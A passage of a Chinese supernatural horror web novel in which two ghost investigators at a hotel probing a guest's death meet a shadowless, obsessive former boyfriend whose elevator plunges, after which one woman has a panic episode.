“也没有，虽然我们的酒店的有快递及物品暂存服务，但是警方也调查过了，没有署名为‘顾倩倩’的东西。”
“她入住酒店的时候，带的行李多吗？”
“不多，就一个行李箱。”小赵停顿了一下，“奇怪的是，在她出事之后，那个行李箱不翼而飞了？”
“什么？”宋明夷皱起眉头，“一个行李箱就这么不见了？”
“是的。”
“你们监控中没有拍到她是什么时候带着行李箱离开过？”
“没有，我们的监控画面中，自始至终都没有看到顾倩倩带着行李箱离开过，这一点，警方也没有查到，她来酒店的时候确实是带着一个灰色的行李箱的，但是那个行李箱不翼而飞了，在1808号房间也没有找到，甚至是酒店外的所有垃圾桶里都没有看到。”
沈聆听着小赵那不带感情的声音，不由得感觉到一阵寒意窜上了脊梁骨。
这明明是一条人命，但在小赵口中说出，却如此云淡风轻。
他并不是一个专业的办案人员，有人死亡这样的事情应该见得不多，但是不知道为什么，他在提到顾倩倩的时候，说话的语气语调并没有任何起伏……
就像是，发生了一件再平常不过的事情罢了。
“除此之外……还有什么有关的信息吗？”宋明夷看向小赵。
“有的，在顾倩倩入住酒店期间，曾经点了三次的夜宵。”
他像个机器人，问一句，回答一句。
“啊？”
“每次都一样，一份水果芭菲、一份戚风蛋糕。”
这么想着，沈聆看向了男侍从小赵：“小赵，顾倩倩从入住酒店到自杀身亡的那三天，关于她的监控画面可以都拷贝一份给我们吗？我们想回房间看。”
宋明夷大吃一惊：“你要拿回去1808号房间看？”
“对。”沈聆漫不经心地说，“长夜漫漫，反正我们本来不是就不打算睡觉吗？正好找点事情做
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，看看录像我觉得就是一个不错的选择。”
“小聆聆，你的脑袋秀逗了啊，你不知道1808号房现在正在闹鬼吗？死掉的人就是顾倩倩本人，你还要在她死掉的地方反复播放她死前三天的录像带？你是嫌我们还不够撞鬼吗？”
“但是……明夷，我们来这个酒店调查的目的不就是想拍到一些诡异的画面吗？如果真的能唤出顾倩倩的鬼魂，不是对我们来说正好省事了吗？”沈聆说着，冲着宋明夷使了个眼色。
要知道，她们今天在酒店可是白吃白喝了一天，享受了一整天豪华VIP服务，但她们到现在一点正经事都没有做，这个酒店到处都是监控摄像头，还有一个小赵在跟着她们，顾经理能不知道她们都做了点什么？
现在是她们展现自己能力的时候，不趁着这个机会体现一下自己的“专业素养”，搞不好真的会被当成是江湖骗子丢出酒店。
而且，这里人多眼杂，就算是看到了监控画面中有什么奇怪的地方也不好深究，还不如拿回去房间里慢慢研究，而且如果真的能把鬼魂喊出来，沈聆作为阴厨，倒是可以直截了当地开始唤魂，问一问顾倩倩是不是自杀的，比警方调查还要省事多了。
毕竟，有谁会比顾倩倩本人更清楚顾倩倩是被杀的还是自杀的呢？
“……我知道了。”
宋明夷脑袋里一瞬间转了过许多念头，她不是一个愚钝的人，她自然也猜到了沈聆的想法。
毕竟自己是赫赫有名的灵异主播，也不能让顾经理感觉她们像是骗吃骗喝的无耻之徒。
如果今天来没有调查出什么东西，让顾经理反而看扁了自己，传出去也不好听。
“小赵，这些录像可以拷贝一份给我们吗？我们带了电脑，可以在房间里慢慢看。”沈聆看向了小赵。
出乎意料的是，男侍从小赵并没有多加反对，而像是早就知道了沈聆她们会这么做一样，微微一笑，从口袋里拿出了一个小U盘。
“顾经理一早就吩咐拷贝了所有和顾倩倩有关的录像，说您二位一定会用到，让我到时候直接交给你们就可以了。”
闻言，宋明夷和沈聆交换了一个眼神。
她们心下明白，看来这个顾经理，是觉得顾倩倩的死亡可以做点文章了。
什么灵异事件调查，说白了不就是想用顾倩倩的死在网络上做一番文章吗？
人都死了，还要吃人血馒头。
不愧是在资本家手下当经理的。
“我知道了，谢谢你，也谢谢顾经理。”宋明夷接过了小赵手中的U盘，随后看向了沈聆，“既然如此，我们就先回房间吧，正好看看今天在房间里布置的那些摄像头、装备有没有捕捉到什么可疑的动静。”
“好。”
沈聆点了点头。
宋明夷拉着沈聆就要离开，在走了几步之后，她忽然转头看向了小赵。
“您二位有什么吩咐？”
“待会儿送一份夜宵到我们1808号房，我想吃水果芭菲，还有……还有来一份戚风蛋糕。”
“没问题。”
182. 电梯服务员
在离开一楼控制室的时候，宋明夷和沈聆的脸色都不是很好看。
一个一脸阴沉，一个沉思不解。
她们迈步朝着大厅另一侧的电梯而去，在那边，穿着侍者衣服的电梯服务员已经在电梯口礼貌等候了。
“……我说，小聆聆。”
“嗯？”
“你说一个月前顾倩倩的死……会不会有蹊跷？”
“但是警方的调查结果是自杀。”
“警方就一定是对的吗？”
“你的意思是……”
“我不是质疑我们陵川市公安局的调查能力哈，但是这一路走来，我们看到的非自然死亡太多了，这个世界有很多灵异现象是不能用‘常规理论’去定义的，光是我们刚才看到的顾倩倩在电梯里诡异的举动来说……你觉不觉得，她像是中邪了一样？”
“你的意思是……鬼上身？”
宋明夷点了点头：“因为我是灵异主播，所以空闲的时候我也会搜集、剪辑一些灵异现象或者是灵异录像，其中有一些录像中的人，感觉和顾倩倩很像，他们也是莫名其妙就会做一些常人无法理解的动作……有的是突然发疯尖叫，有的是像动物一样上蹿下跳，有的是身体折叠成诡异的形状，有的是……哎，反正这种例子很多。”
“略有耳闻。”沈聆点了点头。
她也曾经在论坛、贴吧上看到过类似的灵异事件调查录。
在这些中邪的事件中，中邪的人往往会失去理智、做出自残、伤人等举动。
而这些诡异的举动，都会被认为是被地狱来的鬼魂附身了。
他们口齿不清、行为怪异，通常认为是亡魂、邪神附着在正常人的身上，通过这个方式回到了阳间，从而在阳间作祟。
“这些在西方呢，他们会驱邪，认为是撒旦啊，路西法这种邪神上身，而在中国古代呢，也会弄一些符咒烧了泡水给这些行为异常的人喝……但是无论是西方还是东方，在普遍的认知观点中，都认为这些行为诡异的人，是被某种奇怪的力量上身了，而要‘治愈’这些人的方法，就是用某些‘特殊的宗教手段’将附身的鬼魂驱逐。”
“但是顾倩倩已经死了，明夷。”
“对，会不会是因为当时没有人干涉这个过程，才导致她的魂魄被蚕食、她的身体被邪神侵占了？”
“也不是没有这个可能……”沈聆眉头深锁，“但是，我们刚才在卫生间听到的动静怎么解释？如果顾倩倩的魂魄已经被蚕食了，那么现在盘踞在1808号房的东西是什么？”
“会不会……就是之前附身在顾倩倩身体上的邪神？是撒旦？还是路西法？”
“这里是东方啊。”
“那会不会是18层地狱的某个恶鬼？”
“我觉得地府的阎王爷和鬼差应该不会允许这样的事情发生吧……”
“这可不好说！我们之前遇到的那些事情不就是遗留在人世间的鬼魂吗？这个世界上人多，但是鬼比人更多，鬼差的数量有限，也不一定都忙得过来的。”宋明夷摇了摇头，“一想到晚上要住在有邪神的房间里……我怎么感觉我们这么危险呢？！小聆聆，你说会不会我们也被这鬼魂附身了，然后在1808号房间自杀？”
沈聆翻了个白眼：“你的想象力也太丰富了吧，明夷，鬼还没有来，你自己先心爱死自己了。”
“不是啊，我是真的有这个感觉啊……”宋明夷越想越不对劲，“你想啊，为什么顾经理要安排我们入住1808号房间？他肯定是知道这个房间不干净的，他为什么选择让我来调查这个事情？因为我现在算是热度最高的灵异主播，如果我这个灵异主播死在了他的酒店里……你觉得宣传效果是不是能扩大到最大？！”
两人说着，已经来到了电梯前。
宋明夷的脚步越来越小，她发自内心地抗拒1808号房间。
本来不知道顾倩倩的事情还好，现在知道了顾倩倩的事情，她一下子对1808号房间的印象跌落到了谷底，她几乎可以百分百断定那个房间里有脏东西！而且并不是一般的脏东西！
……很可能是和刘悦一样可怕的存在，甚至是超脱他们之前遇到的任何鬼魂，毕竟能够附身在活人身上，需要很重的煞气和怨念，这可不是一般鬼魂能做到的！
“来都来了，军令状也下了，今天也吃喝玩乐了一天，你总要拿出点什么交给顾经理吧。”沈聆叹了口气，“你放心吧，我们好歹有两个人呢，如果今晚你中邪了，我就把你捆在椅子上，让你自杀不了。天一亮，太阳一出来，那些作祟的东西自然就消失不见了。”
两人一前一后地进了电梯。
此时只有她们俩坐电梯，电梯员也一同进了电梯后，按下了18层的按钮。
沈聆见状，微微眯起眼睛，她想到了什么，但是却没有声张。
“但是……我还是感觉很不安全啊，小聆聆，我们把吴妄叫过来吧，我感觉吴妄在的话，我们会比较安全一点，他好歹有两把刷子的。”
“道长去了很远的地方哟，他去了我外婆的老家，西乡，估计一时半会儿回不来了。”
“不是吧！？他要去一天吗？”
“估计是，至少他现在还没有给我回电话，看来是还在调查中……你就死心吧，明夷，今天晚上，1808号房，就只有我们两个人。”
“这么说……我们还真是要跟顾倩倩的鬼魂‘面谈’了。”
“如果出来的是顾倩倩，那还是最好的情况，就怕出来的不是顾倩倩，而是其他不知道什么东西。”沈聆轻声说道。
她的语气很诡异，就像是对着空气，又像是对着那个一直背对着她们、站在电梯按键旁的服务员说。
一时间，电梯里没有人说话，但宋明夷注意到，沈聆的视线一直停留在那服务员身上。
“……两位在谈论的是酒店里闹鬼的事情吗？”
半晌，那电梯服务员突然说话了。
他没有回头，但
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就像是后脑勺长了眼睛一样，能看到沈聆正在看自己。
“是啊，我们在谈论的是一个月前自杀在1808号房的顾倩倩。”沈聆沉声回答，“您能提供一些有效信息给我们吗？我想着有助于调查顾倩倩自杀的事情。”
“果然，早有耳闻今天顾经理请了‘灵探’入住酒店，我们都在好奇，会有怎样的调查结果。但是……您二位不是也说了吗？顾倩倩是自杀，警方的调查结论也是自杀，这件事情，应该不会有其他转折了吧。”
他依旧没有回头，也没有转身，只是面对着电梯门，微微低着头。
他的声音有点儿沙哑和空洞，就像是从喉咙口挤出来一样，带着风声。
“……从明面上看，是这样没错，但是我们可不是一般人，我们调查的可不是客观方面的事情，我们……能看到鬼。”
“哈哈哈哈，这可真是天大的玩笑，您二位是阴阳眼吗？有意思，我还从来没有遇到过这么有意思的旅客。”
“我们不是阴阳眼，但是如果愿意的话，也可以是。”沈聆轻声回答，“我们，也是能和鬼魂对话的。”
“若真是这样的话，您二位看到顾倩倩的鬼魂，能否帮我转达一句话呢？”
“你说。”
“能否让她……来见我一面吗？”
电梯服务员说着，微微回过头。
沈聆和宋明夷发现，这是一个脸色十分苍白的服务员，他看起来精神很不好，像是被吸干了所有的精气神一样，脸颊凹陷，眼睛干涩着，眼白里面全都是血丝，他虽然嘴角依旧带着礼貌地微笑，但是干裂的嘴唇那诡异的弧度却让他看起来更像是冷笑一样。
他带着帽子，那帽檐的阴影略微笼罩在他的脸庞上，遮住了几分他的面容，电梯的灯光从上而下笼罩在他身上，这时，沈聆突然注意到一件可怕的事情……
眼前这位服务员，没有影子。
不止如此，在电梯的镜子里，他甚至没有自己的倒影！
沈聆不由得倒吸一口凉气，只感觉一股寒意窜上了自己的脊梁骨。
她强压下自己的不安，看了一眼宋明夷。
宋明夷此刻并没有注意到这位电梯服务员的不妥，只是对服务员苍白的脸色感到困惑：“我的天，你是不是病了啊，我怎么感觉你和死人差不多了……”
沈聆忙拉了拉宋明夷的衣袖。
宋明夷疑惑地瞅了一眼沈聆，不明白她那奇怪的眼神是什么意思。
“我……哈哈哈，或许吧，我也感觉自己和死人差不多了。只不过，我总是想着，能再见一面顾倩倩就好了……”服务员叹了口气，挠了挠头，“如果能再见到她一面就好了，我听说她一直在这个酒店不肯‘离去’，但是我从来没有见过她，不知道她现在怎么样了……”
沈聆沉默着想了一下，小心翼翼地问道：“你……是不是认识顾倩倩？”
“怎么说呢，也应该算是认识吧，毕竟……我们曾经交往过两年。”
183. 偏执
“哈？你们交往了两年？这么说……你说顾倩倩的前男友？”宋明夷吃惊地看着眼前瘦削的小伙子。
——这个年轻人将近一米八的身高，但是看起来甚至没有一百斤的体重，感觉一阵风就能把他吹倒，自己一脚就能把他踢骨折了。
这么一个弱不禁风的瘦猴子，会有女孩子喜欢吗？
她虽然是这么想的，但是却不敢说出来。
毕竟这个世界上，每个人的“口味”都不一样，有的人偏就喜欢胖子，有的人就喜欢瘦杆子，审美多样性在这个时代可谓是体现得淋漓尽致。
电梯服务员点了点头：“是啊，我和她交往，那还是四年前的事情了……当时我们都在本地的职业技术学院上学，她热情开朗、活泼可爱，是我见过最漂亮的女孩子，我对她一见倾心，并且对她展开了猛烈的追求。”
“猛烈的追求？”宋明夷八卦之心上来了。
“叮咚。”
此刻，电梯来到了18楼，但是她们都没有急着下去，毕竟眼前这个服务员可以说是她们在这个酒店里遇到的第一个和顾倩倩有关系的人，宋明夷都觉得有这个调查的必要性，她索性拉着沈聆都留在了电梯里，听听看这位看起来只有三分活人气的男人是怎么说的。
电梯服务员见她们二人并未表现出急于离开的样子，于是微微颔首，接着，他缓缓地抬起头来，将视线定格在了电梯上方闪烁着的白色灯光之上，那目光显得有些深邃而悠远，仿佛透过这刺目的光芒，穿越时空的隧道，回到了过去某个特定的场景之中。
或许，在那一瞬间，他眼前浮现出了自己年轻时奋斗的身影；又或者，他想起了与心爱之人分别时的痛苦和无奈。
那些曾经鲜活的画面如同电影般一帧帧在他脑海中闪过，让他沉浸其中，难以自拔，尽管旁人无法洞悉他内心深处所看到的具体景象，但从他那饱含情感的眼神里，可以感受到岁月留下的深深印记以及生活赋予他的种种经历。
“倩倩真的是个特别好的女孩子！想当初，我可是整整追求了她长达一个月之久呀。然而就在这短短一个月之后，奇迹发生了——我们竟然走到了一起！也许是因为我比其他那些追求者要来得更为幸运一些吧；又或者说，可能是我表现得比他们还要更加真诚一些？反正不管怎样，她终于开始对我的爱意有所回应。”
“从那时候起，她常常会在路边静静地等待着我，然后跟我一块儿去享用美味的饭菜。特别是在寒冷的冬日里，每当她下楼时，总会贴心地给我捎上一瓶温热的牛奶当作营养丰富的早餐。不仅如此哦，她还亲手为我编织了温暖无比的围巾，让我即使身处严寒的冬季，也不再感到那般冰冷刺骨。”
“总而言之，与她共同度过的那整整两年光阴，可以说是我这一生当中最为快乐、幸福的美好时刻了。”
“回想起我们俩相处的这七百多个日日夜夜，着实算得上是最为平静祥和的一段日子了。倩倩对于服装设计有着极其浓厚的兴趣爱好，而且天赋过人呐！每一次完成新的线稿绘制后，她总是满心欢喜地拿过来给我欣赏品鉴一番。而我呢，则小心翼翼地将她所创作出来的每一件作品全都悉心收藏起来。”
“不得不承认，她确实拥有着非凡卓越的设计才华。只不过令人惋惜的是，她目前的学历水平仅仅只是大专罢了……假如有朝一日，她能够登上更为广阔宏大的舞台去施展自己的才能，那么我坚信，她一定会成为一名出类拔萃、备受瞩目的优秀服装设计师！至于我嘛，这辈子最大的愿望无非就是希望倩倩可以永远快快乐乐、无忧无虑地生活下去。”
沈聆不动声色地听着服务员的描述，感觉他的话越说越奇怪。
他明明只有二十多岁，但是却感觉像是自己的一辈子已经结束了一样，以一种“回顾往事”的口吻叙述过去的事情。
这些，像是墓志铭，又像是回忆录。
他的回忆里，全都是顾倩倩、顾倩倩，而完全没有自己。
就仿佛，他只是为了顾倩倩一个人而活着一般……
他的话，越听越让人感觉到毛骨悚然。
眼前这个服务员，不太对劲。
他有点儿……太偏执了。
哪怕只是听他的述说，也能感觉到他对顾倩倩的那股盲目的偏执和极致的爱恋，这对一个女孩子来说，并不是一件好事。
虽然是这么想着，但是沈聆又不好就这么打草惊蛇地说出自己的想法。
首先，她不知道为什么眼前这位服务员没有影子、没有镜像，这明显违背了常理，除非……他并不是活人。
沈聆环顾了一圈狭窄的电梯，暗中想道。
其次，这里的空间太狭窄了，如果真的发生什么事情，她和宋明夷完全没有逃命的空间！
唯一的出口也是服务员身后的电梯门，要从电梯里离开，必然要绕过电梯服务员……若是真的惹怒了电梯服务员，她们怕是都无法离开。
这么想着，沈聆打算先按捺下心头的不安，假装投入地听电梯服务员对自己过往那绘声绘色的描述。
“只可惜，那么美好的日子，在两年前结束了……”服务员说到这里，叹了口气，他低下了头，像是一个泄了气的皮球，“两年前，我们毕业的那会儿，倩倩突然跟我提出了分手，她觉得我配不上她，我给她的东西完全不足以让她实现自己的梦想，她觉得我们应该分开了，每个人都有自己要做的事情，她是这样，我也是这样。”
“所以……你们就分手了吗？”宋明夷小心翼翼的地问，生怕触碰到眼前这位可怜男人的伤口。
她看起来听得很投入，完全没有注意到其他违和的细节。
“是的，虽然我再三祈求她不要分手，我给她下跪，我给她送礼物，我在她家门口苦等她三天……这都不足以让她回心转意，她给我的永远是冰冷的回应，她就像是突然变了一个人，她不跟我说话了，拉黑了我所有的联系方式……突然有一天，她离开了家，不知道去了哪里……”
“失踪了吗？”
“对，从那时候开始，我找不到她了。我很害怕，她这么一个柔弱的女孩
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子，在这个险恶的社会上万一吃亏了怎么办？她这么一个美好的人，万一被其他男人算计了、被其他女人妒忌了怎么办？她离开了我，没有人保护她，她是很危险的！”
电梯服务员说着，有点儿偏执地抬头看向了沈聆和宋明夷，那双满是血丝的眼睛瞪大了，里面充斥着不甘心。
“从那时候开始，我发了疯一样，在每个城市找她，我在网上查找她的线索，我去了她的家乡走访她的亲戚朋友，但是倩倩却像是断了线的风筝一样，和所有家人都没有联系了，我一直用了两年，才找到了陵川市……”
宋明夷看着电梯服务员那偏执的表情，有点儿发憷：“你是怎么找到这里的？”
“我在求职网上看到了一个和她身份信息很像的人，我觉得那个人可能是倩倩，我按照这条线索来到了陵川市，但是陵川市太大了，我找不到她，我找了一个月，突然听到这里有一个酒店，有一个女孩子死了……而那个女孩子，就叫顾倩倩。”
“……所以，你并没有在活着的时候找到她？”沈聆突然说话了。
她的这句话，问的很巧妙。
【你并没有在活着的时候找到她？】
可以理解成为：你并没有在顾倩倩活着的时候找到她。
也可以理解为：你并没有在自己活着的时候找到她。
无论是哪一种，管理员并没有正面回答，只是默默点了点头，像是在强迫自己接受这个残忍的事实。
“所以，我来到了这个酒店，我想知道倩倩是怎么死的……”
“但是，不是自杀的吗？”宋明夷也感觉到这个男人不太对，她开始在心里盘算着要怎么绕过他离开这个该死的电梯。
“不是的！我认识的倩倩是绝对不会自杀的！”电梯服务员突然大喊，像是想要据理力争一样看着眼前的两个女孩子，“倩倩是这个世界上最好的女孩子！一定是有人嫉妒她、爱慕她，得不到她，就杀了她！一定是这样的！要是让我找到是哪个王八蛋做的，我一定要让她碎尸万段！”
他就像一头失控的野兽一般，歇斯底里地吼叫着，那沙哑得仿佛被砂纸打磨过的声音，如同一阵阵惊雷，在这狭窄逼仄的电梯里不断回荡。
宋明夷和沈聆两人被这突如其来的吼声吓得浑身一颤，他们下意识地低下了头，并迅速用双手紧紧捂住了自己的耳朵。然而，即便如此，那震耳欲聋的吼声依然能够穿透他们的手掌，直抵内心深处。
出于本能反应，宋明夷和沈聆脚步踉跄地向后倒退了好几步，直到后背紧贴到冰冷坚硬的电梯壁才停了下来。
此刻，她们的心脏急速跳动着，仿佛要冲破胸腔蹦出来一样。
而那个男人依旧不管不顾地嘶吼着：“我一定要见到倩倩！我想要见到她！”
就在此时，只听得一声清脆的“咔哒”声响传来。紧接着，原本明亮的电梯灯光瞬间熄灭，整个狭窄的空间刹那间被无尽的黑暗所吞噬。
四周顿时变得死一般寂静，唯有那个男人粗重的喘息声还在空气中弥漫。
184. 下坠
“我一定要见到倩倩！我想要见到她！”
电梯服务员如同陷入癫狂一般，声嘶力竭地大喊大叫起来。
“我要见她！她在哪里？！我要见到她！”
他的吼声在这狭窄逼仄的电梯空间内不断回响，仿佛每一个音节都携带着沉甸甸的力量，狠狠地砸向人们的耳畔。
刹那间，整个电梯似乎也被这震耳欲聋的声响所激怒，开始发出阵阵低沉而又剧烈的轰鸣声。
原本还算平静的环境瞬间被打破，各种声音交织在一起，显得异常刺耳且不和谐，它们如同一群失去控制的野马，肆意奔腾冲撞，使得空气都为之颤抖。
沈聆和宋明夷被这突如其来的变故吓得不轻，两人几乎同时下意识地向后退缩，一直退到了电梯的角落处，她们用双手紧紧捂住耳朵，试图阻挡住那些如潮水般涌来的奇怪声音，以免自己脆弱的耳膜遭受刺痛之苦。
——这到底，是怎么个情况啊……
沈聆微微眯起双眼，透过手指间的缝隙，胆战心惊地朝着前方望去。
——他疯了？
——他还是人吗？
只见几步开外，那位电梯服务员正紧皱着眉头，双手疯狂地抓扯着自己的头发。
他瞪大了双眼，眼珠子仿佛要从眼眶里蹦出来似的，更令人毛骨悚然的是，那双眼睛里的血丝以肉眼可见的速度迅速增多，一条接一条地蔓延开来，相互交错缠绕，宛如一张密密麻麻的蛛网，渐渐地覆盖了整个眼底，最终，那原本洁白的眼白完全被猩红的血色所取代，看上去犹如两颗燃烧着怒火的血球，散发着让人胆寒的气息。
他的瞳孔仿佛无尽的黑暗旋涡，深邃得如同能吞噬一切光明的地狱深渊，那眼眸黑得纯粹而诡异，让人望而生畏，不敢直视。
他的嘴角以一种极其夸张的幅度张开着，一直延伸到了耳畔，活像被一把锋利无比的刀子无情地割裂开来，裂开的口子处，鲜红的血肉裸露在外，触目惊心，鲜血如决堤的洪水般顺着他的嘴角汩汩流淌而下，迅速染红了他身上那件原本洁白如雪的衣物。
就在这时，电梯内的灯光毫无征兆地“啪”的一声熄灭了，周围顿时陷入了一片令人窒息的漆黑之中。
“啊——”这突如其来的变故让宋明夷惊恐万分，她不由自主地发出了一声尖锐刺耳的尖叫。
紧接着，她们清晰地感觉到整个电梯剧烈地抖动了一下，随后就像是突然间失去了所有支撑和牵拉的力量，犹如一颗自由落体的巨石，迅猛地朝着下方坠落而去！
“啊——”
强烈的失重感瞬间袭来，两人刹那间变得手足无措。
恐惧占据了她们的心灵，身体完全不受控制，只能拼命地蜷缩在电梯的角落里瑟瑟发抖，随着电梯急速下坠，四周、脚下都开始不停地摇晃起来，那种感觉就好似遭遇了一场威力惊人的十级大地震。
沈聆抬起头，发现不知道何时开始，电梯的显示屏恢复正常了，可紧接着她便倒吸了一口凉气，因为她看到显示屏上的数字正飞快地倒计时着——
17。
16。
15。
14。
13。
……
她们在下坠！
从18楼下坠！
“明夷！电梯失控了，我们要掉下去了！”
沈聆看向了身边的宋明夷，发现她紧紧抱着自己的脑袋，蜷缩在角落里。
在失重的电梯里，两人什么都做不了，只能听由自己的身体跟着电梯坠落，她们没有任何办法，失重让她们在电梯里寸步难行，甚至没办法靠近电梯门看看是否有其他的逃生路，只能就这么蜷缩在电梯的角落里，抓着电梯的扶手，跟电梯一起坠落。
就像是被恶魔抓住了脚踝，也一起坠落到无尽的深渊之中。
——要死在这里了……
这个念头闯入沈聆脑袋中，下一刻，就被她的求生意识打断！
——不能，我不能死在这里！
——沈凝还在医院里，我和她共命，我死了她怎么办？！
沈聆一咬牙，强迫着自己恢复一点理智。
“——”
突然间，一道若隐若现的淡莹绿色光芒从她胸口处缓缓散发出来。
——这光芒起初极其微弱，仿佛只是黑夜中的一颗小星星，不仔细观察几乎难以察觉，然而，随着沈聆内心深处强烈的求生欲望不断升腾，那灵元草竟似能感受到她的渴望与呼唤。
就在下一刹那，灵元草爆发出前所未有的耀眼光芒！
原本淡雅的莹绿色瞬间被炽烈的白光所取代，那刺目的白光照亮了整个逼仄狭小的电梯厢，沈聆下意识地紧闭双眼，以躲避这过于强烈的光线冲击。
只听得“唰拉”一声轻响，沈聆顿觉身体一轻，原本急速下坠、令她心跳加速的电梯仿佛被一股神秘而强大的力量牢牢托住！
那股力量就如同一只巨大无比且柔软坚韧的充气囊，恰到好处地缓冲了电梯下坠的惊人速度，使其逐渐减缓。
——这是……怎么回事？
沈聆感觉到胸口一阵温热，她也感觉到了自己似乎是在减慢下坠的速度。
满心惊奇地睁开双眸，却见那夺目的光芒正一点点地收敛、消退，最后，化为了自己胸膛的一个小光点，她知道，那是灵元草的位置。
与此同时，电梯已经停止了疯狂地下坠，转而开始平稳地匀速下降。
“电梯，恢复了？”
她抬起头，看向了电梯的显示屏。
5。
4。
3。
2。
1。
在显示到数字“1”的时候，电梯停了下来，摇晃了一下后，不再动弹。
“明夷！我们好像没事了！”
沈聆满脸担忧地转头望向身旁的宋明夷，只见她娇小的身躯紧紧蜷缩在一起，仿佛一只受惊的小兽。
她那微微发颤的双手死死抓住电梯的扶手，力气之大以至于关节都有些泛白。
此刻的宋明夷泪眼朦胧，几乎是用哭泣的声音不断祈求着：“我不想死……我不想死……”
“明夷，别怕，已经没事了。电梯停住了，咱们现在到一楼了。”沈聆轻声安慰道，并伸出手轻轻抚摸着宋明夷的后背。
然而当她的手指触碰到宋明夷时，却明显感觉到宋明夷的身体正在剧烈颤抖，如同秋风中的落叶一般，再看宋明夷那张哭得梨花带雨的小脸，此时早已是涕泪横流，狼狈不堪。<
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宋明夷的模样，让沈聆心下生疑。
突然，一股异样的气味钻入沈聆的鼻中。
她下意识地低头看去，这才惊讶地发现，宋明夷竟然因为过度惊吓而失禁了！尿液顺着她的裙摆缓缓流淌下来，在地上形成一摊小小的水渍。
看到这一幕，沈聆心中不禁一阵酸楚。
自己曾几何时，似乎也发生过类似的事情。
人到了极度恐惧的时候，确实是会……
可即便如此，宋明夷依然没有从恐惧中回过神来。她嘴里还在不停地喃喃自语着：“我不想死，我不想死……我不想跳楼……”
显然，她已经完全沉浸在了自己营造出的恐怖世界里，那些可怕的画面和负面情绪如潮水般将她淹没，让她的大脑变得一片空白，失去了思考和行动的能力，她就这样可怜巴巴地蜷缩在角落里，瑟瑟发抖，宛如一个无助的孩子。
“额……”
沈聆忙脱下了自己的外套，围在宋明夷身上。
“没事了，明夷，没事了，电梯已经停了。”
沈聆看着宋明夷，眼神深沉了几分。
——你是不是……有什么不为人知的遭遇呢……
“叮咚。”
就在这时，电梯的门开了。
大厅金色的光从电梯外照入了冷清的电梯内，带着几分暖意，像是投来了的希望的光一般。
沈聆抬眼看去，发现方才那个歇斯底里的电梯服务员不见了。
他就像是原地蒸发了一样，电梯里只剩下了沈聆和宋明夷两人，甚至于让沈聆有一瞬间的错觉，是否这一切都只是她的幻觉？
“……”
在电梯门完全打开之后，沈聆看见男侍从小赵正站在电梯外。
看到电梯里的沈聆和宋明夷狼狈的样子，小赵露出略显讶异的表情，但那惊讶的神态很快就被秋风扫落叶一样掩饰了过去，随即，他的表情又恢复了平静。
“二位，二位这是怎么了？发生了什么事吗？我以为二位已经回到房间了。”
沈聆看了一眼宋明夷，将她护在了自己身后：“你们酒店的电梯有问题，你们没有做好日常的维修吗？刚才电梯失控了，从18楼掉下来，我们俩差点死在电梯里。”
“这……我们酒店的电梯都是定期维修检测的，我们十分注重安全生产工作，按道理……”
“但是事情就是发生了！”沈聆打断了小赵，“你看把我姐妹吓成这样，你觉得我们会是无中生有吗？要不要去刚才的控制室调取监控看一下我们说的是真话还是假话？”
“不必不必，如果真的是我们的疏忽导致了意外发生，我们一定对您二位赔偿到底。”
“还有，你们那个电梯服务员是怎么回事，口口声声说自己是顾倩倩的前男友，然后就开始发疯一样大喊大叫……”
“打扰一下，请问您口中的‘电梯服务员’……是男是女？”
“当然是男的了。”
“可是，我们酒店安排的电梯服务员，向来都是女孩子。”小赵说着，微微侧过身。
沈聆这才看到，在他身后站着一个穿着女侍从衣服的服务员，那女孩子一脸疑惑地看着电梯里的她们，像是不明白刚才发生了什么。
185. 惊恐发作
小赵身后站着一位年轻女性，她也穿着侍从的衣服，她好奇地看着电梯里的宋明夷和沈聆，一脸疑惑，似乎不知道刚才发生了什么。
“你们……你们是怎么……”
男侍从小赵开口介绍：“这位是我们今天的电梯服务员，不知道您二位刚才看到的那位男服务员是谁？”
在小赵身后那名女服务员忙点头，细声细语地说：“是啊，我刚才只是去上了个厕所，没想到电梯突然到18楼去了，我还奇怪是谁在我不在的时候按了电梯，突然就看到电梯好像故障一样，楼层数一直往下降……”
“刚才那个男人……不是你们酒店的员工？”沈聆皱起眉头，突然感觉到事情好像没有自己想象中那么好处理了。
“不是的，我们电梯的服务员都是女性，因为女性的声音、性格、外形都比较柔和，这也是我们顾经理的意思，至于您刚才说的……男性的电梯服务员，我们从来没有见到过，而且，我们也从来没有招聘过这样的人。”小赵慢条斯理地说着，他的语气十分笃定，听起来是一件板上钉钉的事实。
“但是……”
但是刚才那个男性服务员，明明就活生生地站在她们面前，甚至还和她们说话了。
活生生？
沈聆心中一沉。
刚才看到的那个男人，真的可以说是“活生生”的吗？
这么仔细想想，那个男人浑身都透着不对劲的感觉，不只是他身上像是没有活人的“生气”，哪怕是说话的语气或者是突然抓狂烦躁的样子，都不像是常人会表现出来的神态。
更可怕的是，那个男人在灯光下，是没有影子的，甚至于，在电梯间的镜子里，也没有镜像。
这样的人，会是……活人吗？
沈聆沉默了，她的脸色很难看。
从见到男人的第一眼开始，她就感觉到不太对劲，现在想想，或许对方和陵川一中的保安一样，都是游荡在这个世间的孤魂野鬼罢了，这样的人在死后因为心怀执念，所以依旧徘徊在世间，甚至不知道“自己已经死了”的这个事实。
如果这样解释，倒是也说得过去。
毕竟世纪大酒店是顾倩倩生前最后停留的地方，而这位顾倩倩的前男友，出于某种原因死了，在死后仍旧带着执念追寻到这里，他口口声声说着自己想要再见到顾倩倩一面，或许这就是他生前最后的执念，也是在这样的执念下，他没有转世投胎，而是成为这个人世间不阴不阳的存在。
“……可能，我们刚才看到了一些不干净的东西吧。”
沉默了老半天，沈聆叹了口气。
在她身边，宋明夷似乎仍旧处在惊吓之中，只不过，她现在的状态稍微平静了不少，发抖的情况也稳定了下来，视线依旧无法聚焦地停留在前方，喃喃自语着奇怪的话语：“我不想自杀……妈妈，我不想跟着你跳楼……”
沈聆担心宋明夷那不想被人知道的事情在这个时候泄露太多，于是拉着她站了起来。
“我先送明夷回房间吧，她现在的情况不是很好，刚才被吓到了，我想，她应该需要洗个热水澡，好好休息一下。”
小赵也看出了宋明夷的不对劲，毕竟几个小时之前这个女孩子还跟自己有说有笑的，现在就像是换了一个人一样，她这副模样看起来就像是……精神病发作之后，从发作期逐渐进入了平静期的模样。
小赵知道每个客人都有自己的隐私，而他们做服务业的，最重要的就是要学会尊重客人的隐私权，对于客人不想透露的事情，就不能问太多。
